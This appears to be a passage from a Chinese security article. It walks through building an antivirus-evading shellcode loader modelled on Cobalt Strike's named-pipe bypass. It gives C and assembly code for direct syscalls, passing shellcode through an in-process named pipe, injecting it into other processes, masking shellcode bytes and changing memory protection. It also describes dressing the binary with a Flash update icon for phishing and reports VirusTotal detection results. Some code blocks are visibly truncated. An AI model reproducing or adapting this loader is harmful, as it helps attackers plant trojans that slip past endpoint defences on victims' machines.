//使用ZwAllocateVirtualMemory 所需要的一些函数定义
ZwAllocateVirtualMemory proc
mov r10, rcx
mov eax, 18h
syscall
ZwAllocateVirtualMemory endp
EXTERN_C NTSTATUS ZwAllocateVirtualMemory(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
NTSTATUS(*NtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
另外,还可以使用py,go,c#等多种语言编译程序,会有意想不到的效果。
0x02 Windows命名管道的分析、利用与复现
在CobaltStrike的Kit中,我们可以看到CS实现了一套Bypass脚本,如下图所示。本篇文章着重分析bypass-pipe.c中的技术—即使用命名管道对杀软进行绕过测试。
命名管道是一个具有名称,可以单向或双面在一个服务器和一个或多个客户端之间进行通讯的管道。命名管道的所有实例拥有相同的名称,但是每个实例都有其自己的缓冲区和句柄,用来为不同客户端通许提供独立的管道。使用实例可使多个管道客户端同时使用相同的命名管道。 关于命名管道的更多介绍,请见Windows 命名管道研究初探
CS使用了进程内通信的方法,在进程内部创建命名管道并在进程内部调用。这种方法能够规避掉一些AV/EDR的查杀操作,具体的执行流程如下图所示。
首先主进程使用CreateNamedPipeA函数在进程内部创建了一个内部的命名管道,并将Shellcode写入到命名管道中(注:Shellcode可以使用HTTP/TCP/UDP/ICMP等等多个协议通过网络传输,以此可以做到Shellcode字符串不落地,大大增加了免杀的概率)。此刻,命名管道可以理解为一个监听,时刻等待着客户端与其连接,并将数据传递给客户端。其中CreateNamedPipeA函数使用PIPE_ACCESS_OUTBOUND参数限制数据流只允许从命名管道的服务端传到命名管道的客户端。详细的参数信息可以见官方文档CreateNamedPipeA。
随后使用CreateFileA函数创建一个命名管道的客户端,用于接收命名管道中存储的Shellcode。
最后使用CreateThread函数在该进程下创建了一个子线程加载Shellcode,我们也完全可以使用CreateRemoteThread函数将Shellcode注入到其他的进程中,以此防止该可执行文件被关闭导致的“掉线“。另外,还可以弹框UAC来提高控制权限,与此同时也会增加钓鱼的难度,因此还需要根据具体的攻击场景与需求来定制最适合自己的Shellcode Loader。
相关代码如下
//创建命名管道服务端,用于向客户端发送数据
void server(char * data, int length) {
DWORD wrote = 0;
HANDLE pipe = CreateNamedPipeA(pipename, PIPE_ACCESS_OUTBOUND, PIPE_TYPE_BYTE, 1, 0, 0, 0, NULL);
if (pipe == NULL || pipe == INVALID_HANDLE_VALUE)
return;
BOOL result = ConnectNamedPipe(pipe, NULL);
if (!result)
return;
while (length > 0) {
result = WriteFile(pipe, data, length, &wrote, NULL);
if (!result)
break;
data += wrote;
length -= wrote;
CloseHandle(pipe);
//创建命名管道客户端
BOOL client(char * buffer, int length) {
DWORD read = 0;
HANDLE pipe = CreateFileA(pipename, GENERIC_READ, FILE_SHARE_READ |
FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (pipe == INVALID_HANDLE_VALUE)
return FALSE;
while (length > 0) {
BOOL result = ReadFile(pipe, buffer, length, &read, NULL);
if (!result)
break;
buffer += read;
length -= read;
CloseHandle(pipe);
return TRUE;
//将Shellcode 注入到其他进程
HANDLE hProcess = NULL;
hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, PID);
HMODULE modHandle = GetModuleHandle(_T("Kernel32"));
LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)GetProcAddress(modHandle, "LoadLibraryA");
void* pLibRemote = VirtualAllocEx(hProcess, NULL, sizeof(data), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pLibRemote, (void*)data, sizeof(data), NULL);
CreateRemoteThread(hProcess, NULL, 0,
addr,
pLibRemote,
NULL);
//创建子进程
DWORD WINAPI StartAddress(LPVOID lpThreadParameter){
return ((int(__stdcall*)(LPVOID))lpThreadParameter)(lpThreadParameter);
s = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, buff, 0, 0);
WaitForSingleObject(s, 0xFFFFFFFF);
最后,我们希望可执行工具在红队使用中达到更逼真的效果,因此加入了Flash的更新图标,方法如下:VisualStudio 解决方案资源管理器->右击资源文件,添加资源,选择icon 导入即可。
事以愿违,VirusTotal的查杀结果显示在70个杀软中有21个检测出了木马,虽然比CS直接生成的artifact.exe要好一些,但是并不能令我们满意(Avast/AVG/McAfee/Tencent等均未查杀出木马)。下图为artifact和使用命名管道实现的Shelllcode加载器在VirusTotal上面的表现情况对比。
而且使用360套件对其进行测试,360也成功防护了此次模拟攻击测试。因此,我们需要思考可以从哪些方式可以对此Shellcode Loader进行修改来绕过常规杀软对该木马的检测。
0x03 Shellcode加密 & 页面区域保护
首先,我们可以处理Shellcode的字符串以减少特征码来降低查杀率,常规的Shellcode编码操作包括Base64编码、Hex编码等等,但是从经验来看,编码操作可能会被AV捕捉分析,因此不推荐使用。除了编码,我们还可以对Shellcode进行加密,如异或、AES、RSA或者自定加密格式的加密。
此处经过不断Fuzz,我们将shellcode每隔3个字节替换为0x00,用于逃避特征码检测。
unsigned char data[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89...";
unsigned char enc_data[] = "\x00\xe8\x89\x00\x00\x00\x00\x89...";
char key[] = "\xfc\x00\x60\x31\x8b...";
for (int i = 0; i < sizeof(key); i++) {
memcpy(&enc_data[i * 3], &key[i], 1);
另外,我们可以使用VirtualProtect将shellcode的内存区块设置为可执行,不可读写的权限,以此降低杀软的查杀率,最终效果如下图所示。
VirtualProtect(buff, sizeof(data), 0x10, &flOldProtect);
0x04 总结
本篇首先介绍了杀软的查杀策略及一些对抗手法,并使用了Windows命名管道进程内部通信、增加资源文件、Shellcode加密、VirtualProtect几个技术绕过了安全管家、Defender等杀毒软件的静态、动态以及云防护措施(另外,使用其他语言如C#、python、Go等等实现该Shellcode Loader可能会较为轻松的绕过杀软的防护策略)。
不难看出,一些杀毒软件在对这些恶意手法的检测上仍有遗漏之处,说明其仍需改进查杀策略,比如加强沙盒的动态调试功能,以免非法分子通过该技术绕过防护进行恶意操作。
0x05 参考文献
https://www.anquanke.com/post/id/190207
https://bbs.pediy.com/thread-217782.htm
https://www.freebuf.com/sectool/157122.html